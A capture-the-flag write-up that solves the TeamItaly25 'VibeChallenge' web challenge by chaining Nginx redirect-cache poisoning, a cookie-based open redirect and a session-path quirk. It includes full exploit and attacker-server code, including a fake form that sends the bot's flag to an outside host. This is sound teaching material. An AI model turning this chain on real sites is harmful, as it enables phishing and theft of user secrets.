TeamItaly25 - VibeChallenge (Unintended Solution)
A web challenge built on instinct, caffeine, and zero planning. Everything kind of works — and that's good enough. Follow the vibes. Something might happen.
TLDR
Just follow the vibes...
"Phishing" the bot with an open redirect, a cache poisoning and some other tricks.
The Target Bot
The goal is to steal flag from an headless bot. After we provide a URL, the bot will visit it and then perform a series of actions:
$actions = [ 'browser' => 'chrome', 'timeout' => 120, 'actions' => [ // 1. Visit our attacker-controlled URL and wait 10 seconds [ 'type' => 'request', 'url' => $_POST['url'], 'timeout' => 10 ], [ 'type' => 'sleep', 'time' => 10 ], // 2. Register a new account ['type' => 'request', 'url' => $CHALLENGE_URL . '/register.php', 'timeout' => 20 ], ['type' => 'type','element' => 'input#username','value' => $username], ['type' => 'click','element' => 'button#submit',], [ 'type' => 'sleep', 'time' => 5 ], // 3. Navigate to the bio page and paste the flag ['type' => 'request','url' => $CHALLENGE_URL . '/update_bio.php','timeout' => 20], ['type' => 'type','element' => 'textarea#bio','value' => $FLAG], ['type' => 'click','element' => 'button#submit',] ] ];
Core Vulnerabilities
The challenge is an application built on a stack of Nginx, Apache, and PHP.
1. Web Cache Poisoning
Nginx is configured to cache responses for images, including 302 (redirect) responses. The cache key is based solely on the request URI.
// nginx.conf location ~ "^\/image\/([a-fA-F0-9]{...})" { rewrite "^\/image\/(?<uuid>...)$" /image.php?id=$uuid break; proxy_pass http://${BACKEND_HOST}:80; proxy_cache STATIC; proxy_cache_valid 200 302 1m; // Redirects are cached for 1 minute proxy_cache_key "$scheme$proxy_host$request_uri"; // Cache key ignores cookies proxy_hide_header Set-Cookie; proxy_ignore_headers Set-Cookie Cache-Control Expires; }
This configuration allows for a web cache poisoning attack. If we can make a request to a cacheable URL (like /image/some-uuid
) and trick the backend into issuing a redirect based on a cookie we provide, that redirect will be cached and served to every subsequent visitor of that URL.
2.Open Redirect
The application uses a next
cookie to handle redirects after certain actions. For instance, after a user registers, the application will redirect them to the URL specified in the next
cookie.
// is_logged.php if (!isset($_SESSION['user'])) { // ... } else if (isset($_COOKIE['next'])) { // Authenticated users are redirected redirect($_COOKIE['next']); setcookie('next', '', -1, '/'); }
This is a standard open redirect vulnerability. The next
cookie's value is not validated, allowing us to redirect users to an arbitrary external site.
3. Session Handling Quirks
The most subtle vulnerability lies in the session management logic. The session cookie's path
attribute is dynamically set based on the request's path.
// utils.php function start_session(){ $hardening_options = [ 'lifetime' => 6000, 'path' => dirname($_SERVER['ORIG_PATH_INFO']), // Session path based on request path 'domain' => $_SERVER['HTTP_HOST'], 'httponly' => true, ]; session_set_cookie_params($hardening_options); session_start(); }
This means a session started by a request to /foo.php
will be scoped to the path /
. However, a session started by a request to /foo/bar.php
will be scoped to /foo
.
This creates a side effect: a user who is authenticated with a session on the root path (/
) can be made to appear unauthenticated by making them request a URL with a sub-path. For example, if a logged-in user requests /bio.php/some/path
, the application will attempt to start a session for the path /bio.php/some
. The browser won't send the root session cookie for this new scope, so from the application's perspective, the user is not logged in ($_SESSION
is empty).
When the application considers a user to be unauthenticated, it sets the next
cookie to the current path to redirect them after login.
// is_logged.php if (!isset($_SESSION['user'])) { setcookie('next', $_SERVER['ORIG_PATH_INFO'], path: "/"); // Set cookie if not logged in redirect('/register.php'); // ... }
This gives us a way to set the next
cookie on an already authenticated user.
Exploitation
- Poison the Cache
First, we'll poison the cache for a specific image URL (/image/uuid
) by making a request to that image URL with a next
cookie pointing to our attacker server. The server will issue a redirect to our site, which Nginx will cache for that image URL.
- Call the Bot
We submit a URL to our attacker server to the bot. The page returned will execute JavaScript to orchestrate the attack in the background while the bot continues its programmed sequence of actions.
- Setup - Session Manipulation
Our script initiates a series of requests to set up the bot for the next step.
- It first requests
/bio.php/bio.php
. Because of the session path vulnerability, this creates an empty session scoped to/bio.php
, effectively making the bot appear logged out on that path. - It then requests
/update_bio.php
. Since the bot isn't authenticated yet, this sets thenext
cookie to/update_bio.php
, ensuring that's where the bot goes after it registers. This specific step is necessary because without this request, the bot after the registration will be redirected to a location where it is not authenticated, overriding the valid session with an empty one. In fewer words the bot would be not authenticated even after the registration.
- !Path Confusion!
The bot's script proceeds: it sleeps for 10 seconds, then registers an account. After logging in, sleeps for 5 seconds. During this time window from our attacker page makes a request to /bio.php/%252e%252e%252Fimage/uuid
. This specific path maps to /bio.php
, where the user is unauthenticated so allows to set the next
cookie. But its value will be /bio.php/..%2fimage/uuid
that is equal to /image/uuid
(because ..%2F
gets interpreted as ../
), our poisoned image URL!
This issue allows to set a redirect for any path, even for image paths where the next cookie is not normally set because of the nginx configuration proxy_hide_header Set-Cookie;
.
- "Phishing" the bot and getting the flag:
The bot wakes up and attempts to navigate to /update_bio.php
. The application finds the next
cookie we just planted and redirects the bot to the poisoned image URL. The request for the image hits the poisoned Nginx cache, which serves another redirect, this time to our phishing page. The bot, following the redirects, lands on our fake page, types the flag into the bio field, and submits it directly to us.
TeamItaly{ch47gp7_54id_17_w45_f1n3_50_175_f1n3_1ce575c05a6b34b1}
Exploit Flow
Full Exploit
exploit.py
import requests import uuid import time from urllib.parse import quote import os ATTACK_SERVER = "https://x.share.zrok.io" CHALLENGE_HOST = 'challenge03.it' CHALLENGE_PORT = 443 with open("image.png", "wb") as f: f.write(b"\x89PNG\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00\x01\x73\x52\x47\x42\x00\xAE\xCE\x1C\xE9\x00\x00\x00\x04\x67\x41\x4D\x41\x00\x00\xB1\x8F\x0B\xFC\x61\x05\x00\x00\x00\x09\x70\x48\x59\x73\x00\x00\x0E\xC3\x00\x00\x0E\xC3\x01\xC7\x6F\xA8\x64\x00\x00\x00\x07\x74\x49\x4D\x45\x07\xE4\x07\x0B\x0B\x19\x1E\x1B\x45\x4D\x00\x00\x00\x00\x4C\x49\x44\x41\x54\x08\xD7\x63\xFC\xFF\xFF\xFF\x0F\x00\x00\x00\x00\xFF\xFF\xFF\x7F\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") class Exploit: def __init__(self, host, port): self.host = host self.port = port self.url = f"http{'s' if port == 443 else ''}://{host}:{port}" self.session = requests.Session() def register_user(self): username = str(uuid.uuid4()) try: res = self.session.post(f"{self.url}/register.php", verify=False, data={"username": username}, timeout=5) if res.status_code == 200: print(f"[+] Successfully registered user: {username}") return True print(f"[-] Registration failed. Status: {res.status_code}") return False except requests.RequestException as e: print(f"[-] Registration request failed: {e}") return False def upload_payload_image(self): print("[*] Uploading img...") try: with open("image.png", "rb") as f: files = {"image": ("image.png", f, "image/png")} res = self.session.post(f"{self.url}/upload_image.php", verify=False, files=files, timeout=5, proxies={"http": "http://localhost:8081", "https": "http://localhost:8081"}) image_path = res.text.split("href='")[1].split("'")[0] image_uuid = image_path.split("/")[-1] print(f"[+] Payload uploaded successfully. UUID: {image_uuid}") return image_uuid except Exception as e: print(f"[-] Failed to upload payload or parse UUID: {e}") print(f" Response: {res.text}...") return None def solve_pow(self, pow): return os.popen(f"hashcash -mCb26 \"{pow}\"").read().replace("\n", "") def poison_cache(self, image_uuid): self.session.cookies["next"] = ATTACK_SERVER+"/phish" res = self.session.get(f"{self.url}/bio.php/..%2fimage/{image_uuid}", allow_redirects=False, verify=False, timeout=5, proxies={"http": "http://localhost:8081", "https": "http://localhost:8081"}) print(f"[+] Poisoned cache") return res.text def call_bot(self): res = self.session.get(f"{self.url}/bot.php", verify=False, timeout=5, proxies={"http": "http://localhost:8081", "https": "http://localhost:8081"}) get_pow = res.text.split("Proof of Work of ")[1].split("</label>")[0] print(f"[+] POW: {get_pow}") pow = self.solve_pow(get_pow) if not pow: return print(f"[+] Solved POW: {pow}") res = self.session.post(f"{self.url}/bot.php", verify=False, timeout=5, proxies={"http": "http://localhost:8081", "https": "http://localhost:8081"}, data={"url": ATTACK_SERVER, "pow": pow}) print(f"[+] Bot response: {res.text}") return res.text def exploit(self): if not self.register_user(): return image_uuid = self.upload_payload_image() if not image_uuid: return with open("image_uuid", "w") as f: f.write(image_uuid) print(self.poison_cache(image_uuid)) self.call_bot() solver = Exploit(CHALLENGE_HOST, CHALLENGE_PORT) solver.exploit()
server.py
from flask import Flask, request app = Flask(__name__) # host = "http://nginx" host = "https://challenge03.it" @app.route('/') def index(): return """ <script> window.open("/attack", "_blank"); </script> """ @app.route('/phish', methods=['GET', 'POST']) def phish(): # phish the bot if request.method == "POST": print(request.form) return """ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Update Bio</title> </head> <body> <form method="POST" action="/phish"> <textarea name="bio" class="form-control" autofocus id="bio" rows="5" placeholder="Write something about yourself...like a flag" required></textarea> <button id="submit" type="submit" class="btn btn-success w-100">Save</button> </form> </body> """ @app.route('/attack') def attack(): return """ <script> window.open("/slog", "_blank"); setTimeout(() => window.open("/set_next", "_blank"), 1000); setTimeout(() => window.open("/set_redirect", "_blank"), 22500); </script> """ @app.route('/slog') def slog(): return f""" <script> location = '{host}/bio.php/bio.php'; </script> """ @app.route('/set_next') def set_next(): return f""" <script> location = '{host}/update_bio.php'; </script> """ @app.route('/set_redirect') def set_redirect(): image_uuid = "" with open("image_uuid", "rb") as f: image_uuid = f.read().decode("utf-8") return f""" <script> location = '{host}/bio.php/%252e%252e%252Fimage/{image_uuid}'; </script> """ if __name__ == '__main__': app.run(debug=True, port=5000)